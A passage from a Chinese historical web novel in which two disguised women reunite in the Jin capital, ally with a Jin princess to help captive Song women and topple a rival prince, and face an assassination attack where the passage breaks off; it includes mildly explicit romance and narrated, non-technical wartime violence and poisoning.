仔细查看一番,厨房旁有个小门,可以通到里面小屋,我以前没有留意。这个小屋很小,只有一个窄火炕,与厨房的灶相通,不用特地添柴也可以借着做饭热一点。炕头有个破旧的木箱,西面墙上有个可以透气的小窗,除此屋里就没有什么了。 我犹豫了一下,打开木箱翻找,只发现一些旧衣服,快翻到底时,我摸到底下有块和箱子颜色相近的棕色布,下面好像还有东西。我掀开棕布,就听到门外有脚步声。 我暂停了手里的行动,打开门,看到一位穿着不合身衣服、挽着头发,佝偻着背的妇人,她正背对着我整理着买来的菜。 我开门和走路她应该都会听到的,可是她却没有回头,继续娴熟的摆弄着手里的菜。 “瑚儿”我轻轻的唤着,慢慢走近。我能看到她微弱的怔住和颤抖,“瑚儿,你找到我了!”我声音哽咽,泪水滚落…… 89、重逢 “瑚儿,你找到我了!”我不禁哽咽,泪水滚落…… 她肩头的颤抖越来越了明显,在我走到她身后时,她终于转向我。我看到了一张丑陋又褶皱的脸,和瑚儿完全不一样,但是她红着的眼睛还有看我的眼神,让我坚定她就是我的瑚儿! 她伸手摸着我的假胡子,又摸摸我半光的头,居然破涕为笑! 她的脸应该是假的面具,我突然回想起阴山上的楚晨和澈儿夫妻俩,是澈儿教过的易容之术! 我揉着她的耳垂,然后才摸着她的脸,质感真的好真实。 未等我们再说说话,门外脚步声传来,我们赶快分开。我退后几步,擦干眼角的泪,瑚儿也是。我们装作无事发生,然后她用压着的沧桑嗓音说着,“大人想学做菜,等老身忙完吧!” 乌里推门进来,刚好听到瑚儿的话,她没有理会,直接说“公主说今天再加个乌鸡汤!” “好的!”瑚儿忙谦卑点头应着,装仆人已经非常像了! 乌里说完转身离开。 “我打打下手吧!”我开门看外面没人了,就撸起袖子要干活。被瑚儿劝住,“我以前做饭也不怎么用人帮忙啊!这大半年我都习惯了!你先出去,免得她们生疑,先去看看冷语,晚点再来找我!乖~” 她居然知道冷语在这里?没等我想明白,就被她推出门去。 我回到屋内,冷语早已经吃完饭,碗碟收拾得规矩,自己坐在床边安静发呆。 我在椅子上坐下,不禁按了按自己左腹的伤口,还会有点痛,那刚刚的一切不是梦!瑚儿真的就在离我不远的地方,我们都活下来了! 有太多话想和她说…… 我将整理好冷语用过的碗筷送到厨房,见瑚儿正娴熟的给乌鸡去毛,这些以前她哪干过? “碗放那里吧!”她看了我一眼,没有停下手里的活,说着,“我待会再刷。” 我忙将旁边闲置的锅灶点燃,倒好水,水烧温了之后,将未刷的碗筷放进去泡着,然后将火压稳,这样一会好刷且不冰手。 她又示意我不要逗留太久!看着她手红红的有些肿,我只好快步离开,回去找膏油,准备晚点时给她。 因为我现在住的地方离厨房很近,加之已经知道瑚儿所在,我便没有执行搬迁计划,这让完颜晴略感欣慰,趁着她心情好,我说那厨娘有长辈的感觉,可以让她多陪陪“瑚儿”,她也同意了。 终于借着送乌鸡汤的时机,让瑚儿和冷语见到面了。冷语虽然不大认得瑚儿,却很听她的话!这是一个好的现象,瑚儿忍着泪,哄着冷语。 熬到深夜,我终于可以跑去见瑚儿了,我们怎么总是要这么偷偷的呢?穿过厨房,我敲开了瑚儿的房门,除了护手的膏油,我又找出很多药带给她。 将膏油涂抹在她的手上,然后轻轻按摩着揉着,可以感受到她的手因为长期干活而变得粗糙,这段时间她是如何挺过来的? “疼不疼?”我问着,此刻她已经卸下面具伪装,面容依旧美艳动人,只是神情自若多了份坚毅。 她摇摇头,眼中闪着泪光,“疼一点也好,我才能相信我没有做梦!” 原来她和我一样,都害怕此刻不是真的。 “身上还有伤吗?”我轻轻问着,带来的药希望可以治疗这两年的伤痕,“你是怎么熬过来的?” “相比她们,我还好!只有后背这里被烧到过,”说着瑚儿解开衣带,略带顾忌的将身体展现给我,右侧肩胛骨上有一块半个巴掌大的伤疤。 我颤抖的触碰着那早已愈合的伤疤,不再光滑,也许是指尖的温度比她的身体低一点,抚摸轮廓时她不住的战栗,我忙找来药膏,轻轻涂在上面,“不碍事的,只是烧伤疤痕容易痒,涂了药能好受点就行!” “是很舒服,凉凉的!”她接受着我的抚摸,“能去掉就好了!” “我记得你所有美丽的样子,在我眼里你永远是那样,是最好的!”我为她披上外套,“还有哪里,我得把这两年的心补上!” “这里吧!”她犹豫着将我的手拉到腹部,摸起来没有什么,只是借着灯光可以看到,一些纹路,“是不是不好看了?”这不是妊娠纹吗? “这是伟大和辛苦的印记,”瑚儿真是遭大罪了,说着我俯身轻吻着她的腹部,引得瑚儿深深呼吸,轻轻抓着我的头发。 虽然我们没有想过会有孩子,但是她辛苦那么久的痕迹,让人心疼! 对了,说到这里,我才想起,那个在战火里出生的女孩,我们的女儿!?可是她大概率是…… “那孩子真的是谦月吗?”我抬头问着,其实心里隐约已知道答案! 瑚儿抿抿嘴,苦涩的笑了笑,点头。然后慢慢说起,我们分别之后的事。 他们一路被金兵追杀到禹州,护卫兵大多死的死、散的散,最后只有曹梦绮、牛皋和马车里的她们,摆脱追兵时,曹梦绮也身中数箭,她们在禹州得以调养了一段时间。她亮出身份,希望宋军赶快备战。 但是这个消息并没有得到朝廷的重视,等到他们好不容易回到汴京后,朝廷治了曹家指挥不利的罪,曹梦绮重伤未愈就被免去官职,逃跑的王大人却因保存战力而得了赏赐。 曹祖奶奶和曹老爷一急之下都去世了,只有叶夫人在支撑。那孩子到达汴京时已经快百天了,叶夫人和她师妹都觉得她长得确实和谦月小时候一模一样。加上瑚儿也确实没有经验,又一直忙着打探我的情况,照顾婴儿的任务自然就落到长辈身上。 “后来她快一岁时,会说话了,就说出了自己的身份,”瑚儿感叹着,“那我就更不方便照顾她了!” 后来我中箭坠崖的消息和场景被越来越清晰的描述,她不信!再想到前线寻找时,金兀术领军兵临汴京城下,冷语提醒她南渡,但是为时已晚,禁军被击败。汴京城无人可以出入,宋金进入和谈。大宋割让几个州以后,金人得寸进尺加大了索要赔款的数额。 金人提出朝廷如果凑不齐赔款银两,就将宋王室女眷按照品级折算,抵押送到上京城。没想到大臣们居然劝皇帝接受,朝上根本不想抵抗,然后搜集民女讨好金人。 瑚儿趁机将李师师、叶心、江绮月、小谦月等人通过水路送走,只是谈判期间王公贵族无法轻易逃离。 占有优势的金人没有耐心了,谈了一段时间后直接用武力烧杀抢夺,还把皇帝、皇子、大臣们也算进折价名单里去了。汴京彻底乱了,有人组织起散兵反抗,越王和曹梦绮也参与其中,冷语跟着他做军医,可是队伍很快被歼灭。 瑚儿用尽关系和钱财赎出冷语,她已饱受摧残,埋葬了曹梦绮之后,她万念俱灰,瑚儿一直看着她别做傻事。 直到金人开始按着王室名单索人,冷语将瑚儿打晕藏在心园地道中,顶替她进了被押运的队伍。瑚儿虽然幸免于被掳走的命运,汴京也在金人野蛮的统治之下。她用澈儿送她的面具易容成老妇人,恰好金人在找厨娘给北上的人做饭,瑚儿便应征而去,路上偷偷地照顾着她们。 汴京的地狱景象,一路上都在上演,金人还逼着有孕的女子骑上,再抽打马让马失控奔跑,而跌落她们以滑胎,冷语脸上的伤就是那样的状况下产生的,更可怕的是她撞伤了头,自此就神智不太清醒。 可是金人没有放过这些北上之人,经常逼着她们围着篝火跳舞,有人受不了羞辱,便和金人厮打起来,结果有几个公主竟然被折磨致死。 瑚儿背后的伤,是因为金人将领耍酒疯,用着火的木棍抽打宋女,她为了保护冷语而受的。冷语清醒认人的时候不多,瑚儿觉得如果没有冷语的牺牲,也许自己也就是这样了,所以一路上守护着她。 直到有一天金人盘查往来宋境的商队,将货物、书信翻的满地都是,瑚儿做完大锅饭,又喂冷语吃完后,无意间在满地书信中发现了一封送往汴京心园的信,这个地址北边有谁知道呢? 她偷偷拾起,晚上借着月光看,居然是我写的那封报平安的信,她相信我一定还活着,更加坚定了她北上的决心。 再后来,有天一个叫昂大王的人派人来找冷语,自此冷语待遇好了很多,她依然偷偷照顾。 坚持着到了上京城,她们被安排在洗衣院做饭,但是没想到本来也要来这里的冷语却不见了。 她本来想去找,但是洗衣院守卫森严,幸好澈穆格公主府讨要会做中原菜的人,她想着先离开洗衣院再做打算。 没想到进府后就听宋人仆役们聊起,公主要了一个帝姬给驸马,正是“赵瑚儿”。瑚儿觉得真是踏破铁鞋无觅处!决定在此一边照顾冷语一边寻找我的下落。 更没想到,第二天她买菜回来,就遇到了模样怪异的我。自幽州关分别,我们已经两年未见了!近八百个日夜…… 我为瑚儿烧好热水泡脚,又用温毛巾给她擦着身体。 “一路上我都装的邋里邋遢、脏兮兮的,澡都不敢轻易洗!”她讲了好久,此刻正喝着水,任由我擦拭她的身体。 “你身上有没有伤?我也给你擦擦身吧!”她问着。 我也脱下衣服,我的伤疤会多一点,但是和北上的那些人比起来,我的伤口都是可以真正愈合的,她们遭受的可能一生都无法治愈和忘记。 瑚儿轻轻抚摸着我身上的伤,手臂、肋骨、心口、后背、腿上。 “这里是?”瑚儿忍着眼泪问我左腹的新鲜伤口是怎么回事。 “是冷语,你也知道她的状况,把我当成金人了!”我牵起她的手,“帮我上点药吧!很快就会好了!” “好”瑚儿轻轻为我涂药,好像一点也不痛了。 我抱着瑚儿,躺在不宽敞的小炕上,给她讲起我这两年多的经历,她会问我问题,怀抱里的身体也从最开始的紧张僵硬变得逐渐放松…… “二姐以前总说,我遇到你就没碰到好事,如今想来那些奇幻冒险的经历,也保护了我!”瑚儿没有睡着,我们聊着聊着,她感慨道,没有人会想到一个娴熟做饭的粗糙丑厨娘会是大宋公主! “睡吧!瑚儿,我在的……”我轻轻拍着她,终于可以好好睡一觉了…… 夜里她偶尔会惊醒,她说会听到惨叫声,我就将她抱的更紧些,在她耳边轻轻安慰…… 第二天天没亮,我们都习惯了早起,她要准备早饭,我帮她烧好了水,将米淘好煮上,她则完成了易容伪装,然后我溜回房假装刚起床。 白天我们会陪着冷语说话,她会借着买菜和一些宋人打听交流消息。 夜里我们会相拥聊天,她惊醒的时候越来越少了,慢慢的会养回来的! “金英……完颜晴和二姐好像!”这晚我们聊到,听着别人的议论、传闻还有日常所见她交往接待的人,完颜晴对金国军政的影响力越来越大了。 瑚儿说着她对完颜晴的感觉,没想到那个在西湖与她一较高下的人,居然是金国公主,而我,还成了她的假驸马。 “你还真是有驸马命呢!”瑚儿皱着眉头,感慨道。 “可不是嘛!我的瑚儿公主”我忙吻着她的额头,希望熨平那些褶皱。“早点休息吧!明天开始要做不少事呢!” 冷语状况好了点,已经能记起瑚儿了。我们也打算借着在上京,特别是在完颜晴府里的机会,了解金国政局,看看能不能找到机会,解救一些人,促进更多人平安南归! 我们觉得能劫后余生又能重逢,已经足够幸运,如果有余力帮同胞,应该做点什么!起码让她们少遭一点罪,活下去。 这几天我们将我存的那些药,几经辗转交给了洗衣院里的人。 每天都很忙,晚上虽然相拥而眠,但是大多在讲着错过彼此的日子,以及对现今情况的分析。而且经历了那么多,瑚儿也需要时间、温暖、安稳来恢复正常人的睡眠。不过北方太冷,这个炕又小,烧不太暖,我们赤身拥抱是最好的取暖方式。 一切都越来越好,今晚难得放松一点。瑚儿的香气让我安心,她的肌肤还是那么滑嫩,我那喜欢抚摸她后背和腰际的睡觉习惯又回来了,而她的身体也在逐渐升温…… “我就知道你变了心,还找了这么老的女人!”我和瑚儿情绪正好,门被砰的一声踹开。 完颜晴带着乌里百林冲进来,百林举着油灯,完颜晴让乌里抓住瑚儿,我顾不得灯光刺眼,拉过衣服罩在瑚儿身上,然后自己也忙穿好外衣,起身拦住她。和乌里对峙过程中,完颜晴看到了瑚儿的真实面容。 “宋帅!”她惊叹着叫出那个名字,走过去托起她的下巴,“要是你的话,变心也是情理之中了!” “完颜晴!”与此同时我情急之下居然喊出了她的汉名! 她回头轻蔑的看了我一眼,转头想继续和瑚儿说话,突然又像意识到了什么。 “你叫我什么?”她转向我,不可置信的问着…… 90、同谋 “你叫我什么?”完颜晴不可置信的问着…… 我刚刚情急之下居然叫了她的汉名,那时只有西夏时倪飞才知道的名字。女真没有人这么叫过她!连假装招魂那日都没有这么叫…… “完颜晴……”我自知瞒不下去了,开口解释。而她的手已经摸上我的脸,她闭上眼睛摸着我五官轮廓。 “不准动”我感受到她的手在颤抖,便停止了反抗。 “为什么?什么都不一样!?”她呢喃着似乎在自问自答,手滑向我的喉咙,摸着那道伤疤,“你的声音变了!”我看到她眼睛红了,可是她还是不死心的拉起我的右手“我记得这里有贯穿手心的疤!你到底……” “是我!”我轻轻的说着“我吃了九转殊途,它让我身上的伤都不见了。咽喉是那之后受得伤,我确实变了很多,变得不再是你认识倪飞了!” 她眼睛微微张大,随即移开了与我相对的视线,又看看我身后的瑚儿。没有说话,转身离开。 我看着她出了门,百林和乌里忙跟了过去。 “瑚儿,你先去冷语那里,我和完颜晴好好说说”我一边说着,一边为她穿好棉大衣,“我们在上京有很多事还需要她帮助!” 我将瑚儿送进冷语的房间,分开时她嘱咐我道,“也不必强求,实在不行,我们先搬出去!” 我点点头说道“放心!也算互相帮助,不会闹僵的!”瑚儿知道我曾经在西夏救过完颜晴,加之我们最近聊过,完颜晴算是个爱憎分明的人,所以她倒也不是特别害怕。 我深呼吸一下,敲敲完颜晴的房门,里面亮着灯。 “进来吧!”好平静的声音。 我推门而入,她正在洗脸,换好了睡衣准备休息了,刚刚的事似乎没有发生过一般。 “这么晚了!你不去陪你的宝贝瑚儿,跑来这里做什么?”完颜晴将毛巾放好,转过身来问我。 “对不起,我骗了你!”我想着,这是我应该道歉的。 “你骗了我两次,也救了我两次,怎么看都是我更划算啊!”她坐下来倒了杯水喝着,“不过,我到底该怎么称呼你好?曹谦月、倪飞、苑平安还是……?” “我的名字真的是倪飞!”我看她似乎没有负面情绪,松了口气,如果真如她所说所想,我只是没有承认自己是她认识的人,还有找人假装招魂,也为了她了解心结,希望她有随心活下去的信心。而且我真的也算救过她的命,应该没什么太生气吧! “好!倪飞,我从来不怕人骗我,我见惯了人为了自保或者利益而骗人,能不能化解被骗的危机,是我自己的本事!”她放下杯子,叹了口气,“但我不希望你再骗我!你……” “不会了!其实,从昏迷中醒来时,我确实连能不能活下去都不知道,那副鬼样子,也不能算你认识那个人,”我回想起来,也许没有和她相认的原因也是因为觉得时移世易,“不过就算没有西夏那段记忆,我们后来相处的也算…挺好的!” “你还好意思说,你要是说明身份,我不会逼你试药的,也不会那么对你,”她有些波动,“更不会让你看到那些事……” 我继续说着“都过去了!找到瑚儿之后我想和你说真相的,毕竟我们都认识,机缘巧合下又在这里相见,互相帮助也好”。 “互相帮助!?好吧!那我先问明白几个事!”她看着我,似乎带着审视,“如果你现在钟情赵瑚儿,那雪芊寻呢?你真的移情别恋了吗?” “芊寻和谦月才是天造地设的一对!”我简单讲起了她们的故事,“我只是因为机缘和谦月长得一模一样,芊寻那时不愿意相信谦月不在了,把我当成谦月去爱,不过她们会重逢的!” “宋帅是大宋公主?她才是赵瑚儿?”她继续问着。 我点头,“她的侍女冷语顶替了她北上。” “也算是保全了她!”完颜晴感慨道。 “我想求你的就是这个事情!”我走过去说着,顺势给她杯里添了水,“我们都是女子,有能力力挽狂澜、一展抱负,就像你这样当然了不起!” 她端起杯子“哎!别给我戴高帽子!我也有自身难保的时候!” “所以咱们互相帮助嘛!物伤其类!因为国破沦落、背井离乡,很多女子的生死也不会有太多人在意,我知道你心里也不是滋味,我们能不能帮帮她们?我也可以帮你借机报仇?” “报仇?”她挑眉看我“我在自己的国家有什么国仇……家恨!?” “议政王和他那些兄弟,也就是你的那些叔叔,有的已经算是你的绊脚石了吧!”我想着最近梳理出来的局势,“如今女真国力正盛,得了宋不少财富和土地,因利而聚,金国已经分出几派了吧!你看起来毫不费力的游离于权力中心之外,实际上已经用尽心力了!” “那你想要什么?又能做到什么呢?”她抬手托着下巴问我。 “洗衣院没落,议政王倒台,还有……和剌或者说……”最后一句话我们异口同声“太祖一脉得位!” “成交!”她看着我笑了笑“好了,我也乏了,你快点……回你的温柔乡去吧!明天是不是又要去洗衣院‘享乐’了?” “多谢公主成全了!”我抱拳感谢。 “彼此彼此”她背对着我挥手送客,准备休息了。 “你回来了?她没有为难你吧?”瑚儿在我推门而入时迎了过来,小声问着。 我看了眼冷语还在睡,便也压低声音说着,“放心,都说好了!要不今晚我们先回到厨房去吧!明天再换个房间!” 瑚儿点点头,借着月光回到我们的小空间里。 “在西夏时,你们……发生了不少事吧?!”本以为可以休息了,没想到黑暗中怀里的瑚儿突然问道。 “啊!?我好像都招过了啊!”我故作委屈的说,“就是机缘巧合下帮过她,你当时也在啊!”说着,我搂紧瑚儿,抚摸着她的头发。 “是吗?”瑚儿嘀咕着“我可不会那么深情的摸着恩人的脸!” “可能是因为当时她看不见,为了确认吧!”我继续轻拍着瑚儿,哄她入睡。 第二天,完颜晴为我们安排了其他房间,不大、偏在一角,但安静。 我们也开始了行动…… 有人说,办大事靠男人,成大事靠女人。这些史书上无暇记载,历史上永远不会和政事有关联的女子们,因为男子掌权者们的失败,沦为了筹码,却在绝境中做着自己的抵抗。 被分到各个王公贵族府里的女子相对稳定,暂无性命之忧,可是洗衣院里的人就太悲苦了。我借着完颜晴的令牌可以更频繁的出入洗衣院,借机给她们送药,同时将瑚儿的书信话语传递给她们。她们自幼读书,有智慧和胆识,身陷绝境,知道只有放手一搏,才有一线生机。 渐渐的,不管她们曾经关系如何,都开始守望相助,收集互通信息。 但是很多事不是一朝一夕就可以达成,需要一点点积累…… 时间很快就过去了一年多,完颜晴掌控了更多人的秘密和所求,话语权在逐渐变大。而对于宋女子来说,她们的境遇也在悄然改变,至少没有人再被折磨,有贵族将她们接入府中,这些人有的受完颜晴所托,让她们拿些银两,可以自由选择去留,放她们偷偷南归,不过听说她们中大多选择改名换姓的隐入民间,历史上就再也没有痕迹了。 当然,洗衣院毕竟是议政王等人的势力范围,所以我也会有被找茬为难的时候。 比如这天,我正和曾经的乔贵妃商量、传达消息,就有一位金国小王爷闯进来抢人,还纠集了一群蛮人堵着我拼酒,我一时无法脱身。 用这几年学的女真话和他们打哈哈扯皮,但也坚持不了一会,他们的酒太烈了,喝了大概三四碗之后,我看人有点重影。 待会不会露馅吧?我用指甲扣着自己的胳膊,希望能保持清醒。 “嘭”门被踢开,完颜晴来救我了,看来我们的消息网传递速度已经很可以了! 她让乌里掀了桌子,将酒泼在那些纨绔脸上,情绪到了还扇了我一巴掌,然后揪着我的耳朵,在大家看热闹的嬉笑中,离开了洗衣院。 北国的秋风吹在脸上,让我醒了酒,被扇过得地方,火辣辣!我揉着脸,完颜晴看了便说道,“你不是总愧疚骗了我吗?这就当还一次了!” “你不会以后哪天想起来,再呼我一下吧!”我记得她说我骗了她两次,不过她也说早不放在心上了啊!算了,退开一点防守距离,我警惕的看着她。 “没准~”她弯起嘴角,背手前行,“今天不是你家瑚儿生日吗?还不快回去?!”说完带着乌里百林逛灯会去了。 又一年中秋节了,时间过得真快! 虽然宋人多是以俘虏的身份来到上京,但自那之后,上京城中原文化的氛围却越来越浓厚了,特别是逢年过节! 去年中秋,是我和瑚儿重逢后的第一个生日,欠的二十岁、二十一岁,我得想办法在她22岁时补齐。可是她说如今能自由活着就已经很难得了,那么多亲人故友都还身在囹圄之中,要不就不要庆贺了吧! 刚好那阵子我有机会以宗亲外戚身份被派出去勘察地形,我向猎户买了哨笛,在宋金边境地带开始吹哨,有时间就吹,十几天之后,终于有一颗石子砸在我脚边,我找到了因为战乱流离放养多年的青儿。 她也还认得我,坚守着若即若离的嫌弃,她被我引回了上京城完颜晴府里,娘俩也算见到了。瑚儿说着管这个小没良心的干嘛?却还是给她喂了不少好吃的。 今年呢?我倒是也有准备,不管怎么说没有心情,生辰也应该想办法开心一点的。我借着宋来议和的使团车马队,与瑚儿姨娘取得了联系,她来信说自己在益州一切都好,也期待瑚儿早日南归团聚。 今天一早,我将李师师写给瑚儿的信交给她。 而且还有个算是好消息的事。这一年来,在完颜晴的游说运作下,徽钦二帝还有一些王族子女可以迁居伍国城了。那里虽然偏远,但是远离金国王权中心,相对比较自在,也更安全!这是令瑚儿大大舒心的一件事。 过了这个中秋节,他们就要动身了。今早,瑚儿易容后,先去昌王府送礼物,借机和已经是侧妃的金奴见面,商量如何将一些物资送给她们的亲人。 从洗衣院出来,完颜晴便带着乌里百林出去赶灯会了。我回到府里时,瑚儿还没有回来,我就如往年一样,打算着手煮一碗蔬菜鸡蛋长寿面。 刚出锅,瑚儿就从后面抱住我,“小飞~我今天真的很开心,他们都好!” “以后会越来越好的!”我轻轻抚着她紧扣在我腹部的手,这一年来已经养过来了,温润细腻。 瑚儿吃完面以后,又做了一碗鸡丝面,让我送去给完颜晴。 她记得我说过她俩是同年同月同日生的缘分,而且宋人待遇能有所转机,我们得感谢她!虽然我们说着互相帮助,完颜晴则说着互相利用,两不相欠!但是就算是朋友,表达下心意也好! “老规矩,中秋吃面啦!”我将面碗放在桌上,完颜晴合上宋境地方志,已经是第四年这么干了,也算传统习惯了吧! “那老规矩!你的碗呢?”她依旧只想吃半碗。后来想想,她那时总说自己不想吃一整碗面,是因为觉得实在没有长命百岁的必要。 “这三五十岁的送,我估计得活两百岁了!”我接过她盛出来给我的半碗长寿面,嘀咕着。 “正好陪你家瑚儿!两个百岁老太太白头偕老多好!情爱这事儿,果然还得看别人谈啊!”她感慨着,“我是活一天就累一天,也许死了那天才会彻底闲下来吧!” “等这天下如你所愿,你再退休也不迟”我挑着面条,说着退休后的生活有多值得期待,“总得有个奔头吧!不是谁都有你这样的才智能力,凭自己力量建立自己想要的国。等建成以后能好好享受自己打造的生活了!” “对了,这个给你!”我突然想起来,便从怀中取出信和图来递给她。信是金奴写的,这一年的时间里,瑚儿从中联系,她俩遥相配合,已经扶持着昌大王足以和议政王平起平坐了。 朝内势力多了,政策倾向就多元了,对于北上宋人的态度也有了缓和的可能。 瑚儿总说完颜晴和金奴的相似,一样的有能力、有胆识,仿佛天生的政治家。但是作为她俩的“驸马”,我隐隐觉得,完颜晴比金奴多了一丝疲惫也多着一份人心。 同样渴望权力,金奴享受着挑战的乐趣,完颜晴则追求着内心的安宁。她总说自己见惯了人情百态,麻木了,可是她却那么喜欢捕捉人性美好的光点。她在想着能保全更多人的方式! 她俩对于彼此呢?大多时候王不见王。都是书信、口信沟通,完颜晴说希望这辈子都没有要与金奴为敌的时候。 瑚儿却说金奴对完颜晴很感兴趣。 91、放逐 “看来她还是挺着急的!”完颜晴将金奴的信置于蜡烛上点燃,然后放在茶盘里看着它成为灰烬。 “这是青州的地图志”我见完颜晴又展开我送她的图谱,就解释说道,“注解有汉字也有女真文字,百林她们帮忙的!” 青州曾是宋金的边境,也是她出生的地方。 前几日听百林和乌里商量着,要送完颜晴什么?不过她也不喜欢过生日,自然不愿意收礼物,想想古里泰送古书时的吃瘪,难怪她们为难。我刚好手里有青州的地图志,想起她喜欢这些,就结合实地勘验经历,好好的标注一番,和乌里百林校对加上女真语文字,送给她。 “我两个月前有机会去那里,亲自核勘的,青州近海气候宜人,风土人情与中原差别不大,”我见她想换换心情,就认真说起青州的情况,“那里有不少梅树,冬天也不冷,还能看到梅花!等你退休了,就去那里看看啊!” “本来确实能快一点,不过也不能不管不顾啊!”她手指婆娑在图中一片山岭上。的确,洗衣院相关还有不少金人,不能一蹴而就。而且与议政王对立的派别中也有不主张和平的人,如果他突然倒台,搞不好主战派又做大了,那时岂不是干戈又起。 “很多事不是杀一两个人就能解决的!再说,谁叫你……们总是在我救了人后,用看菩萨的眼神看我!”她无奈的摇着头,“我是被你们给捧杀了!” 想权衡保护更多人,就累很多!真是为难啊!回想在上京醒来后,这些年的相处,觉得她并不是看起来那么杀伐果断、对什么都无所谓的。 “多谢菩萨了!”我双手合十,对她一揖。 完颜晴白了我一眼,摆摆手说着“退下吧!明日你们不还得送人吗?” “你也早点休息!”我收拾好碗筷退了出去,她应着,却还是看起了图谱。 中秋过后大多数宋王族被押送去了伍国城,我和瑚儿无法现身,只好在远处山岗上看着远行的队伍。 “别太担心!伍国城是我和完颜晴主持翻修复建的,里面的基础设施很好,在那里生活会比这里好很多,”我揽着瑚儿安慰她,“等灭了议政王,我们就过去和她们一起!” 本来想让瑚儿易容后先过去的,但是劝了几次,都未能成功。 这天夜里,许久没有好好贴贴的我们,难得的放松下来。 我吻遍了她背上的每一寸,然后从后面拥着她,轻轻吻舐她耳后的敏感的肌肤还有脸颊,她耳朵透着红。 我一只手轻轻揉着她心口的氵军圆,感觉比以前还充盈了很多,另一只手轻轻的留恋的感受着她身体里的温暖与润泽…… 瑚儿一只手敷在我的手臂上,偶尔会抓紧我,另一只手勾在我的后颈,手指有一下没一下的拨弄着我的头发,身体轻轻的伴随我浮动……渐渐的,湿润的气息将我们粘合的更紧密,她嘤咛声将我点燃…… 一定是东北的火炕太热了…… “披上点,别着凉~”我刚刚为她擦拭好汗津津的身体,正涤着手巾,嘱咐她将被子盖好。 “炕烧的这么热,一点也不会冷,来嘛~我也帮你擦擦!”瑚儿坐起来,招手让我过去,我笑了笑脱下披着的寝衣,背对她坐在床边,瑚儿轻轻拨开我的头发,为我擦着背和颈,还拉起我的手臂擦着。 “躺下我给你擦前面”瑚儿拍拍床铺。 “我自己来吧~”我回身想接过手巾,却被瑚儿拒绝,她的面颊依旧红润,神情…… “今天不累,我来照顾你啊~”她轻轻将长发掖在耳后,额头绒绒的碎发还沾着细细汗珠。 每次她说不累的时候,都是要吃掉我的暗号。我确实要因为她而变得炽热,那就恭敬不如从命啦! “那待会再擦吧!”我乖乖坐下,半躺着伸手揽着瑚儿吻着,摸索着将毛巾拿过,丢在盆中,然后任由她柔软的唇勾勒着我脸颊、脖颈还有肩…… 两个月之后,洗衣院一场大火烧了两天两夜,映红了夜空,里面的宋女无一逃出,一起烧死的还有几个因为醉酒未能逃出的金国贵族…… 完颜晴和我按照洗衣院的现有名册,买好了一些尸骨,反正大火过后,只有断壁残垣和无法辨认拼凑的遗骸。 议政王的大儿子虽然被救出,但是被柱子砸断了腰椎,又因为吸入过多烟雾毁了肺,只能终身卧床……而且“不知道”哪里来的消息,坊间传闻就是他酒后闹事打翻了火盆,才招此祸事,金皇帝念及议政王往日功绩没有追究,却“无奈”收回了他手里的一半的兵权。 议政王不甘心就此失去威信,坚持推荐小儿子领兵南征,借此崭露头角。没想到却在萨满问卜时得出了大凶之兆,金王借机换将,南征一事也暂且推迟到明年了! 为什么会这么巧呢?大概因为大祭司是古里泰的姑姑,而议政王也想让女婿古里泰随军出征,她就占卜出了那样的结果,也算是为了保护自己的侄子吧! 最近听说古里泰的妻子已经有身孕了,应该能收收心了吧!至少完颜晴是这样希望的。 冰冻三尺,非一日之寒!毕竟是一同长大一起征战多年的兄弟,金王对议政王还是有情义的,议政王虽然霸道,但是其实并没有不臣之心,所以我们铺垫了那么久,也没有让他们彻底闹掰。 直到这年腊月,议政王身体每况愈下,其实是我们联系了他府中的宋女,分别给他下着慢性毒药,单独验不出来,合在一起,久而久之就让他行将就木了! 随后,瑚儿易容成一位“神医”,去给他诊治,适当的给了点解药,让他对这个大夫的话,深信不疑。大夫嘱咐他半年内千万不可以饮酒,可是女真人年节宴会怎么会不喝呢? 更何况朝中有传言,他对陛下心生不满,连皇帝敬的酒也不喝的话,这君臣不合就坐实了。所以两人闹得面红耳赤,也没有让议政王喝下酒。 议政王以身体不适为由强行离开,彻底激怒了金皇帝,他越想越气,命人追回了议政王,非得让他喝一杯酒!僵到最后,议政王咬牙饮下这杯酒,将酒杯重重放在桌案上,转身愤然离去…… 自此,兄弟二人大有嫌隙!朝中依附议政王的人纷纷开始另觅靠山,议政王无奈大势已去,只好假借父子吵架,让二儿子领兵出走到北海以保存实力。 金王却借机下了旨意,让他去攻打西夏,去了可能以卵击石,不去就算抗旨,大部分兵将偷跑回京请罪,剩下的人陷入两难。 这时议政王突然去世,那队游兵才无人问津,议政王府就此没落…… 朝中势力此消彼长,议政王势微之后,得利最大的是昌王爷,还有前丞相之子完颜宗辅,他被封为右勃极烈,成为了新的议政王和大元帅,当然他也是完颜晴的合作伙伴,她们一同支持着和剌。 共同的敌人消失后,完颜晴和金奴也逐渐站在了对立面。 为了不让瑚儿为难,我想还是先送瑚儿去伍国城和亲人团聚吧! 这几天我们采买着物资,打算一并带去伍国城。 “那些辽人看着有点眼熟!”我们在街市上,瑚儿说着刚刚出去的辽人,我回头跟去视线,才觉得确实奇怪,他们打扮的如同契丹人一般,但是头上却有伤疤,这伤疤是新剃发才会有的,这点我深有体会,因为最开始装北方男子时,我要剃掉前面的头发,第一次剃光时因为阻塞,会特别容易划伤,但是时间久了就不会。 他们是汉人?为什么要装契丹人,为了活命而伪装吗?可是他们也很招摇啊!看体态是练家子高手。 “二姐说我要走了,今天想让我去看她!”瑚儿将东西收拾好,也易容完毕,亲了我一下,就去找金奴了。 我陆续将东西搬到马车上,天色已晚,出了一身汗,有点饿虚脱了的感觉,便去厨房做了一些白菜疙瘩汤,加入白胡椒粉后,美味极了! 吃饱喝足打算回房,见完颜晴屋里亮着灯,想着最近她让乌里和百林回家探亲去了。虽然也有嬷嬷会做饭伺候她,不过刚好汤还热乎,我就返回厨房将剩余的疙瘩汤盛出来,刚好一碗,端去给她。 “吃饭了吗?”我进门问道。 “没呢?”她也正在整理东西,随口回道,“有什么好吃的吗?” “哒哒~珍珠翡翠白玉汤!”我把碗端到她跟前,秀了秀。 她自然放下手里的东西,吃了起来…… 我们有一搭没一搭的聊着天,说着最近的局势,也说着上京的情况。 突然,我被呛的咳嗽了一下,才注意到门缝里进着烟,外面闪闪火光,兵刃相接声不绝于耳。 有刺客! 府里的卫兵应该已经和他们打起来了,不过火势也不小。完颜晴拿起佩刀,我也拿起弓弩。 “他们可能再等我们出去”我和完颜晴商量着,“我们先用布沾上水,系在脸上,保证呼吸!” 然后我将门打开,丢出裹着椅子的棉被,果然很快被门口埋伏的人砍中,那人发现上当,便顺势冲了进来,我射中了他的手臂和大腿,让他失去进攻能力倒地。 